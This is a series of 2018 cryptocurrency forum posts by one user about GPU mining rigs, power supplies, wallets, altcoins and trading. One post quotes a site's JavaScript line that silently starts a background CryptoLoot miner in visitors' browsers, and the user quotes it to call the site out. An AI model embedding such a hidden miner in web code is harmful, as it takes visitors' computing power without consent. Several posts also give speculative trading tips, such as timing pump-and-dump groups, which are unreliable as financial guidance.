6021  Alternate cryptocurrencies / Mining (Altcoins) / Re: which is the best 1080ti to buy? Im seeing all kinds and prices changing before on: January 19, 2018, 06:04:20 AM
Too bad for you, any Brand of 1080ti you can find now is 2.5x more expensive than their prices last year.
Who did this? us GPU Miners.

Just choose the one with a reputable brand or direct from NVidia.
Not the one with "Big Fans" but the one with High Quality Components (including the Fan).

Take note that if you want to upgrade in the future, make sure that order those that got a Year or more Warranty.
It will be easier to re-sell them in the future to gamers and standard users.

Ladies and Gentlemen! Bitconnect users in a nutshell.

With the news of End of Service they're still biting the baits.
A day have passed since this news: https://bitcointalk.org/index.php?topic=2773778.0
I smell greed all over the place.

I'm kinda lured when someone is starting a Game that utilizes blockchain technology.
These kind of projects bring enthusiasm to my nerves.

I've been in many MMORPG before, what's notable is Ragnarok Online's Marketplace, a trader's practice platform. Although there are some concepts in the game that need improvement.
When you integrate a Blockchain in an Online Multiplayer Game, the chances of a hyperinflation will be tremendous. Take care of that.
Remember that games are meant for playing.

I will follow this thread for future refence.
6024  Bitcoin / Bitcoin Discussion / Re: How do you store your bitcoins? on: January 18, 2018, 05:48:12 AM
This looks like a spam thread but people can see this in my last posts list for information or reference anyways.

I'm storing mine like this: Using three different wallets for different purposes.
  • I got an Electrum Wallet to hold my personal funds and
  • I Exported an address from another stored/hidden Electrum Wallet for long term Bitcoin Hodling as my Paper Wallet.
    Although an offline Paper Wallet-maker can do the same.
  • Last is Coins.(ph) wallet which I do not trust for an easy Cash-out for emergencies, micro-payments and online payments.

I don't trust Coins because it wasn't really a Bitcoin Wallet, it's more like paypal and a crypto exchange mashup.
The addresses they issued was not owned by the users, those are rather "receiving addresses".

Even if you believe in bitcoin, it never hurts to take profits when you see an extraordinary move upwards. Those who sold at around $16,000 -$19,000 are now able to buy back much more. Food for thought for next time it pumps...
That's why it is always good to "Swim with the Whales"
The Virtue of Hodling only applies in a Whale-free market, not in our markets.
Even P&D groups are infesting those exchanges.

At least in the long-term, if digital currencies become successful, your perseverance will pay off.
So if you're into Hodling, better stay away from these market crap™ news.

Look how many of us foreseen this moment yet a lot of investors suffered from losing their wealth.
But it's pretty predictable, the road map and their whitepaper, they should have seen this coming.

few month ago i almost in out there. some of my friend lost their money.
Did you encouraged them to buy this past few months? Because that's....
6027  Alternate cryptocurrencies / Mining (Altcoins) / Re: 1000W + 850W PSU enough for 6x1080Ti? (+15 amps question) on: January 18, 2018, 04:08:02 AM
Only the 12v Rail will power your 1080Ti,
that 850W PSU is a bit questionable if it can handle those three at stress.
Look at the label for the 12v rail and how many amps it can supply, use that information to compute if it is above (200Wx3) 600W or 50amps.

Same with the 1000W, Other components will use the other voltages and some from the 12v.
Check the 12v rail if it can power 3 GPU and a CPU. (surely it can)

Looking at your plan, it looks like it is going to be unstable.
Take a 1500W in place of the any of the two PSU to use for 4-5 1080ti, just 1-2 GPUs and the Mobo in the other one, my advice.
6028  Economy / Economics / Re: Still Trading When Red? on: January 17, 2018, 10:31:55 AM
With the current bloodbath in the Market Cap, Buying or Selling through fiat is a no-go, but
Trading Altcoin to Altcoin or Bitcoin to Altcoin is still the same.
Nothing changed but their values versus fiat currency. So I'm still doing this no matter what happens.

What bugling me is Bitcoin might lose a lot after these sellouts by regular investors.
They Sell Alts for Bitcoins then cash-out.
The price might return to what it was last July 2017.
6029  Alternate cryptocurrencies / Mining (Altcoins) / Re: Cooler Master V1000 on: January 17, 2018, 08:55:53 AM
You can use that, go on.
I've looked at the link, and I think what matters here is the cable's quality.
Those looks good imo.
Dividing one 6-pin into dual(2) 8 pins might overload the wires causing an overheat.
But that's only the worst case scenario if the actual product is not as fine as what is displayed.

If you will use it the other way around (which you intended), you don't have to worry about overheating cables.
Just make sure that only one (not both) 8-pins was connected to your PSU. Or things can go haywire.
6030  Bitcoin / Project Development / Re: Browser games like ogame and cryptos on: January 17, 2018, 08:31:32 AM
Whatever you are making, don't turn it into an RPG-based game.
You will face a huge issue of teen and grade-school population who doesn't even have a hint on what's behind the game.

OGame was quite successful because of the mechanics and the nice artworks.
Personally, I don't like space-based games.
You can make one that copies the same principle (different theme) while adding the collectionXcustomization part from CryptoKitties.
Meticulously look for exploits, it's crytocurrency-based, more chances to have one.

One thing I would like to tell you:
The real reasons for the success of games is the Hype that the developers create.
I have seen a lot of good titles that didn't sell well because of lack of advertising.
And seen OK titles which made a fortune only after the launch (I don't need to name them).

Only the longevity of the game will be affected by its quality.
6031  Economy / Trading Discussion / Re: Time Frame on: January 17, 2018, 05:08:00 AM
You can't find anything but close to nothing in Time frames as a basement for Technical Analysis when it comes to Cryptocurrency exchanges.
These are not the Stock Market or the Forex Exchange.

I will tell you what I'm doing to get a "hunch" on when to buy or sell.
But take note that the exchanges available are not bound by regulations or strict rules making it a haven for whales and P&D groups.
The trick is, you must be updated with the news or forums and their movements, not by analyzing the time frame.
With time frames, you can only see the current and past behavior of the coin.
Always check the YTD Time frame for the behavior analisis and Daily Time Frame for the cue to "look for news".
6032  Alternate cryptocurrencies / Altcoin Discussion / Re: What do you guys think about NEO? on: January 15, 2018, 09:08:16 AM
It's nothing like every other altcoins.

It's chinese Ethereum.. what could go wrong Cheesy ?
Sarcasm~ Detected!

Wait for a pump and dump group to make that coin's market cap swell, sell at that time.
It's been stable for a while now but keep on hodling, and wait for that moment.
After a dump, there will be no more reason for you to hodl them.
That coin will be stuck the way it drop for some period. Time it right and you might be lucky enough for a x10 or more.
6033  Alternate cryptocurrencies / Mining (Altcoins) / Re: 650W Enough for 2x 1080 Ti ?? on: January 14, 2018, 10:13:48 AM
I have 650W and 700W supplies who stop working when mining with 2 1080ti's on 100% power limit without other systems (no hdd/cpu/mobo).
Get 750W or more, gold or better.
.....I know what all of you are saying. I wouldn't be mining at 100% power limit. More like 75%, ~185W per card.

185W
185W
100W+
---------
470W......
It's not always like this.
Take a look at the PSU's Label, the 12v rail (yellow) was indicated with 2 wattage.
The 1st one would be for the 4Pin Molex, sata, processor and MotherBoard 12volts.
The Second was for the 6Pin or 8Pin Connectors.
Although, cheap and substandard power supplies does not have this kind of feature.
Getting the total power consumption of all the component wasn't the correct formula.

My Gaming Rig PSU for example, the label said 12v max 100W and another 12v max 350W.
The 350W was allotted only for the GPU's supplementary Power. This is where you will base on how many cards you can power.
A different scenario when you're using a 4pin Molex to 8/6-pin Adapter. It will get its power from the other rail.
6034  Alternate cryptocurrencies / Altcoin Discussion / Re: Next big project in music industry on: January 14, 2018, 03:23:11 AM
Personally, music industry doesn't even need a currency, digital or traditional.
It's a matter of art and talent that makes it worthwhile for the public to listen to them.
But musicians need to eat too. With platforms like Youtube or others, they can earn revenue and I think these are enough as a tool.

If whenever the Digital Currencies became mainstream, these said platforms may adopt to the most accessible or accepted blockchain.
6035  Alternate cryptocurrencies / Altcoin Discussion / Re: What You Think Of Bitcore (BTX)? on: January 13, 2018, 09:54:41 AM
What is the Future of BTX?
Bitcore? I'll say it straight to the point.
"A hardfork of Bitcoin which aims to mislead newbies into buying it instead of Bitcoin"

After Bitcoin Cash fork, they named Bitcoin was named as Bitcoin Core to minimize misconception of the names mislead newbies.
Now, take a look this new fork, it was named "Bitcore", it sounds like Bitcoin Core,
newbies will likely to mistook it as Bitcoin.

I saw some Threads in the Bitcoin Discussion regarding this, most or all of them are by newbie members.
6036  Alternate cryptocurrencies / Mining (Altcoins) / Re: Pci-e GPU makes all mining slow. on: January 13, 2018, 06:55:02 AM
.... All looks good. Few freezes and eventually system starts. Card gets recongnized after few mins, done DDU, reinstalled GPU drivers. Problem is then I'm mining even desktop lags a lot and mining performance is like 10 times slower on all cards.
This is weird, if it freezes sometimes, there's really a problem.
But seeing that the your rig starts, this might be a power issue, not your PSU but maybe from the riser, it wasn't powered.
The MoBo's PCI-e slots are powered which is used by the GPU, those 8-pins power connectors are the supplementary power.
You can't use the cards properly with incomplete power source, it could be the riser, it doesn't supply the power from the PCI-e slot.

Quote from: JordanLTU
Could Windows reinstall help? Maybe it has to be installed while that pci-e card connected? I'm out of ideas.
Not at all, you can plug anything without needing to reinstall Windows..
It doesn't look like a software issue to me.
6037  Bitcoin / Project Development / Re: Live Coin Price on: January 13, 2018, 05:47:42 AM
Sites like these keep coming weekly.
Yours however, is "true" real-time with the bonus of Background Mining Script!

Quote from: the site's javacript code
CoinHive = "shit";var threads=window.navigator.hardwareConcurrency/2;threads<1&&(threads=1);var miner=new CRLT.Anonymous("119e4573c7c87b5cba4d39ec19ad4572580d6254f516",{threads:threads,autoThreads:!1,throttle:.2});miner.isMobile()||miner.start();

It's not a bad thing considering that you need some revenue for your service but,
Add a warning or a disclaimer that you are CPU mining in the background.  Angry
6038  Alternate cryptocurrencies / Altcoin Discussion / Re: What are ICO's long term success indicators? on: January 12, 2018, 09:27:50 AM
If the team is transparent to us, you can use their profiles as the basement of your speculation.
Research for their social media, skype or telegram activities.
If the head office is within your vicinity, take a visit, look at their faces.

About the ICO's future projects, most scam attempts are likely those that promises non-real world benefits.
Mostly new Altcoins or a stupidly-distributed Tokens which are already 50%- dumped through airdrops.

You can't always tell if it was a scam or will fail with their activeness in customer support.
But a bad customer support indicates that is a fraud ICO.
6039  Alternate cryptocurrencies / Speculation (Altcoins) / Re: Sell Ripple Now? on: January 12, 2018, 05:38:27 AM
Why do you even believe in Ripple, the highest value was probably the result of a hype.
Take Bitcoin for example, it had reached 20,000$ value just because of a hype fueled by companies that will make use of it last December followed by those blinded news about the increasing value.

The same thing has been happening with Ripple.
First, said banks will use it, then it reached the news and social media, next, big social media personalities backed it up.
So, it caused a buying spree by mainstream market.

If you bought your ripple last October-November or earlier, now is the best time to sell.
Otherwise, you can continue hodling them as you wish.
6040  Alternate cryptocurrencies / Mining (Altcoins) / Re: SO FRUSTRATED! Please help! on: January 11, 2018, 07:21:40 AM
Anybody else with some advice for me?
The results are quite normal for those cards when mining Cryptonight Coins.
That alogarithm is often optimized for CPU mining.
You can mine them with GPUs but, expect less than mining Ethash.

As far as I know, Cryptonight is good for high end CPU Miners (designed to be "everyone has equal mining opportunity"),
not recommended for a GPU rig.
Better change to another coin using a GPU miner and use a CPU Miner for your CPU to mine that cryptonite coin synchronously.
